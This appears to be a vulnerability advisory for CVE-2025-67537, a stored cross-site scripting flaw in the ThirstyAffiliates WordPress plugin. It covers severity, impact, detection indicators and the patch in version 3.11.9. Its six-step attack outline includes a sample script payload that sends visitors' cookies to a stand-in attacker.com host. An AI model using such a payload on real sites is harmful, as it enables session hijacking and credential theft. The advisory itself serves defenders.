CVE-2025-67537: 
WordPress vulnerability analysis and mitigation

CVE-2025-67537 is a Stored Cross-Site Scripting (XSS) vulnerability in the ThirstyAffiliates WordPress plugin developed by Blair Williams. It affects all versions up to and including 3.11.8, and was reported on November 21, 2025, with public disclosure on December 9–15, 2025. The vulnerability carries a CVSS v3.1 base score of 6.5 (Medium) (Patchstack).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting), specifically of the stored (persistent) variant. An authenticated attacker with at least Contributor or Developer-level privileges can inject malicious scripts into plugin-managed content, which are then stored in the database and executed in the browsers of users who subsequently visit the affected pages. Exploitation requires user interaction — a privileged user must perform an action such as viewing the crafted content — and the scope is changed, meaning the injected script can affect contexts beyond the attacker's own session (Patchstack).

Successful exploitation allows an attacker to inject and persistently store malicious JavaScript, HTML redirects, or advertisement payloads within the WordPress site, which execute in the browsers of site visitors and administrators. This can lead to session hijacking, credential theft, unauthorized administrative actions, or redirection of site visitors to malicious external sites. The confidentiality, integrity, and availability impacts are each rated Low, but the changed scope means the attack can affect users beyond the attacker's privilege boundary (Patchstack).

No public proof-of-concept exploit code or evidence of active in-the-wild exploitation has been reported for CVE-2025-67537. The EPSS score is approximately 0.039%, indicating a low probability of exploitation in the near term. The vulnerability is rated Low priority by Patchstack, and it is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. However, Patchstack notes that XSS vulnerabilities of this type are commonly used in mass-exploit campaigns targeting WordPress plugins at scale (Patchstack).

1. Reconnaissance: Identify WordPress sites running ThirstyAffiliates plugin version 3.11.8 or earlier using tools like WPScan or Shodan, or by checking the plugin version in the site's source code or readme files.
2. Obtain low-privilege access: Register or obtain credentials for a Contributor or Developer-level account on the target WordPress site.
3. Inject malicious payload: Using the authenticated session, create or edit content managed by the ThirstyAffiliates plugin and insert a malicious JavaScript payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) into an insufficiently sanitized input field.
4. Payload persistence: Submit the content so the malicious script is stored in the WordPress database.
5. Trigger execution: Wait for a privileged user (e.g., administrator) or site visitor to view the affected page, causing the stored script to execute in their browser.
6. Achieve objective: Harvest session cookies, perform actions on behalf of the victim, or redirect visitors to attacker-controlled infrastructure (Patchstack).

• Logs: WordPress access logs showing authenticated POST requests to ThirstyAffiliates plugin admin endpoints containing encoded script tags or JavaScript event handlers (e.g., <script>, onerror=, onload=).
• Database: Unexpected JavaScript or HTML script tags stored in ThirstyAffiliates-related database tables (e.g., wp_posts or plugin-specific tables) within affiliate link or content fields.
• Network: Outbound requests from site visitors' browsers to unknown or suspicious external domains shortly after visiting pages containing ThirstyAffiliates content, potentially indicating cookie or credential exfiltration.
• File System: No direct file system artifacts expected for stored XSS, but review for any newly created or modified PHP files in the ThirstyAffiliates plugin directory that may indicate secondary compromise.

The vendor has released version 3.11.9 of the ThirstyAffiliates plugin, which patches this vulnerability. Site administrators should update the plugin to version 3.11.9 or later immediately via the WordPress admin dashboard or by downloading the latest version from the WordPress plugin repository. If an immediate update is not possible, restrict Contributor and Developer role access to trusted users only, and consider using a WordPress security plugin such as Patchstack with virtual patching enabled (Patchstack).

The vulnerability was discovered and reported by security researcher Muhammad Yudha - DJ on November 21, 2025, and published by Patchstack on December 15, 2025. Patchstack classifies this as a low-priority issue with no impactful threat at the time of disclosure, noting that the security issue is unlikely to be exploited. No significant broader media coverage or notable social media discussion has been identified (Patchstack).